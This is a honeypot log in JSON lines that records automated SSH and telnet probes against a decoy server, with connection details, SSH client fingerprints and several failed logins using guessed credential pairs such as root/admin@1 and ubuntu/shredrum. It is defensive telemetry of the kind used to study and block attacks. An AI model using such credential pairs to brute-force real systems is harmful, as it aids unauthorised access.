{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"password","message":"login attempt [gitlab-runner/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:54.159417Z","src_ip":"103.170.173.26","session":"9e9d31955857","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:55.435262Z","src_ip":"103.170.173.26","session":"9e9d31955857","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60244,"dst_ip":"159.203.135.109","dst_port":23,"session":"611c4fd8e75e","protocol":"telnet","message":"New connection: 161.97.105.174:60244 (159.203.135.109:23) [session: 611c4fd8e75e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:55.749504Z"}
{"eventid":"cowrie.session.closed","duration":35.83985614776611,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:55.865020Z","src_ip":"161.97.105.174","session":"4966b6dae5d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.643269777297974,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:05.411743Z","src_ip":"161.97.105.174","session":"59c0b8c3afcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36430,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b6c46404042","protocol":"telnet","message":"New connection: 64.227.101.30:36430 (10.17.0.5:23) [session: 7b6c46404042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:05.440519Z"}
{"eventid":"cowrie.session.closed","duration":31.694198608398438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:08.030979Z","src_ip":"161.97.105.174","session":"5c41536a0a42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.57368803024292,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:08.156450Z","src_ip":"161.97.105.174","session":"31c313ba7cba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.210457801818848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:10.190467Z","src_ip":"161.97.105.174","session":"c2bfe90c22fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.56258773803711,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:10.796775Z","src_ip":"161.97.105.174","session":"6a7ec49d94e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38808,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e99f79feed7","protocol":"telnet","message":"New connection: 64.227.101.30:38808 (10.17.0.5:23) [session: 1e99f79feed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:11.522779Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40048,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad356ee6d32e","protocol":"telnet","message":"New connection: 64.227.101.30:40048 (10.17.0.5:23) [session: ad356ee6d32e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:11.753481Z"}
{"eventid":"cowrie.session.closed","duration":38.18399906158447,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:12.532450Z","src_ip":"64.227.101.30","session":"c963a3e7687e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.85373640060425,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:13.249226Z","src_ip":"64.227.101.30","session":"4424a86c058b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":41906,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fcc2fc062c7","protocol":"ssh","message":"New connection: 193.32.162.145:41906 (10.17.0.5:22) [session: 1fcc2fc062c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:13.994049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:14.003001Z","src_ip":"193.32.162.145","session":"1fcc2fc062c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:14.118524Z","src_ip":"193.32.162.145","session":"1fcc2fc062c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"shredrum","message":"login attempt [ubuntu/shredrum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:14.455525Z","src_ip":"193.32.162.145","session":"1fcc2fc062c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.36729454994202,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:15.188709Z","src_ip":"161.97.105.174","session":"5136e17a66eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:15.563251Z","src_ip":"193.32.162.145","session":"1fcc2fc062c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41604,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2d150bf3d3b","protocol":"telnet","message":"New connection: 64.227.101.30:41604 (10.17.0.5:23) [session: b2d150bf3d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:17.923903Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":47284,"dst_ip":"159.203.135.109","dst_port":22,"session":"631ce5cdd029","protocol":"ssh","message":"New connection: 220.247.224.226:47284 (159.203.135.109:22) [session: 631ce5cdd029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:18.268081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:18.834413Z","src_ip":"220.247.224.226","session":"631ce5cdd029","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:19.056220Z","src_ip":"220.247.224.226","session":"631ce5cdd029","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123456","message":"login attempt [test/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:19.989352Z","src_ip":"220.247.224.226","session":"631ce5cdd029","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38906,"dst_ip":"159.203.135.109","dst_port":23,"session":"70a839fef570","protocol":"telnet","message":"New connection: 161.97.105.174:38906 (159.203.135.109:23) [session: 70a839fef570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:20.915053Z"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:21.217459Z","src_ip":"220.247.224.226","session":"631ce5cdd029","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38910,"dst_ip":"159.203.135.109","dst_port":23,"session":"df365b6c7240","protocol":"telnet","message":"New connection: 161.97.105.174:38910 (159.203.135.109:23) [session: df365b6c7240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:26.217757Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":40904,"dst_ip":"159.203.135.109","dst_port":22,"session":"5229e7332dc9","protocol":"ssh","message":"New connection: 200.118.150.20:40904 (159.203.135.109:22) [session: 5229e7332dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:26.398900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:26.405357Z","src_ip":"200.118.150.20","session":"5229e7332dc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:26.497120Z","src_ip":"200.118.150.20","session":"5229e7332dc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"newpass","message":"login attempt [testuser/newpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:26.885918Z","src_ip":"200.118.150.20","session":"5229e7332dc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:27.981425Z","src_ip":"200.118.150.20","session":"5229e7332dc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42618,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fb3e7477c15","protocol":"telnet","message":"New connection: 161.97.105.174:42618 (159.203.135.109:23) [session: 8fb3e7477c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:29.126126Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42624,"dst_ip":"159.203.135.109","dst_port":23,"session":"30a784d0e13c","protocol":"telnet","message":"New connection: 161.97.105.174:42624 (159.203.135.109:23) [session: 30a784d0e13c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:31.617123Z"}
{"eventid":"cowrie.session.closed","duration":35.93691873550415,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:31.686289Z","src_ip":"161.97.105.174","session":"611c4fd8e75e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42634,"dst_ip":"159.203.135.109","dst_port":23,"session":"b631f6ae47fe","protocol":"telnet","message":"New connection: 161.97.105.174:42634 (159.203.135.109:23) [session: b631f6ae47fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:31.694004Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":32834,"dst_ip":"10.17.0.5","dst_port":22,"session":"0001e28cda41","protocol":"ssh","message":"New connection: 209.99.189.174:32834 (10.17.0.5:22) [session: 0001e28cda41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:32.482330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:32.488376Z","src_ip":"209.99.189.174","session":"0001e28cda41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:32.620050Z","src_ip":"209.99.189.174","session":"0001e28cda41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42646,"dst_ip":"159.203.135.109","dst_port":23,"session":"e62a48e8a99d","protocol":"telnet","message":"New connection: 161.97.105.174:42646 (159.203.135.109:23) [session: e62a48e8a99d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:33.149230Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@1","message":"login attempt [root/admin@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:33.165414Z","src_ip":"209.99.189.174","session":"0001e28cda41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:34.297936Z","src_ip":"209.99.189.174","session":"0001e28cda41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51178,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1250e476c60","protocol":"telnet","message":"New connection: 64.227.101.30:51178 (10.17.0.5:23) [session: c1250e476c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:38.025906Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38646,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d202d14feb8","protocol":"telnet","message":"New connection: 64.227.101.30:38646 (10.17.0.5:23) [session: 6d202d14feb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:38.615532Z"}
{"eventid":"cowrie.session.closed","duration":0.005542278289794922,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:38.620942Z","src_ip":"64.227.101.30","session":"6d202d14feb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.53530287742615,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:40.975647Z","src_ip":"64.227.101.30","session":"7b6c46404042","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46994,"dst_ip":"159.203.135.109","dst_port":23,"session":"943ca7c46cd4","protocol":"telnet","message":"New connection: 161.97.105.174:46994 (159.203.135.109:23) [session: 943ca7c46cd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:45.878165Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":47006,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf82e13dd749","protocol":"telnet","message":"New connection: 161.97.105.174:47006 (159.203.135.109:23) [session: bf82e13dd749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:47.051577Z"}
{"eventid":"cowrie.session.closed","duration":36.66189646720886,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:48.184572Z","src_ip":"64.227.101.30","session":"1e99f79feed7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":34434,"dst_ip":"159.203.135.109","dst_port":23,"session":"81a2335af3d7","protocol":"telnet","message":"New connection: 161.97.105.174:34434 (159.203.135.109:23) [session: 81a2335af3d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:48.996541Z"}
{"eventid":"cowrie.session.closed","duration":37.42020297050476,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:49.173551Z","src_ip":"64.227.101.30","session":"ad356ee6d32e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":34448,"dst_ip":"159.203.135.109","dst_port":23,"session":"28b5d4abaf3e","protocol":"telnet","message":"New connection: 161.97.105.174:34448 (159.203.135.109:23) [session: 28b5d4abaf3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:49.943397Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":34464,"dst_ip":"159.203.135.109","dst_port":23,"session":"741e1b8a3a76","protocol":"telnet","message":"New connection: 161.97.105.174:34464 (159.203.135.109:23) [session: 741e1b8a3a76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:56.313154Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":34476,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e8b7cb96d17","protocol":"telnet","message":"New connection: 161.97.105.174:34476 (159.203.135.109:23) [session: 0e8b7cb96d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:57.054044Z"}
{"eventid":"cowrie.session.closed","duration":32.272066593170166,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:58.489713Z","src_ip":"161.97.105.174","session":"df365b6c7240","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.98770785331726,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:40:58.911307Z","src_ip":"64.227.101.30","session":"b2d150bf3d3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.20736742019653,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:02.333358Z","src_ip":"161.97.105.174","session":"8fb3e7477c15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.53300666809082,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:02.447948Z","src_ip":"161.97.105.174","session":"70a839fef570","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35914,"dst_ip":"10.17.0.5","dst_port":23,"session":"a504831442b3","protocol":"telnet","message":"New connection: 64.227.101.30:35914 (10.17.0.5:23) [session: a504831442b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:03.834241Z"}
{"eventid":"cowrie.session.closed","duration":30.93229365348816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:04.081433Z","src_ip":"161.97.105.174","session":"e62a48e8a99d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.47321605682373,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:04.167131Z","src_ip":"161.97.105.174","session":"b631f6ae47fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.197165727615356,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:41:05.814183Z","src_ip":"161.97.105.174","session":"30a784d0e13c","protocol":"telnet"}
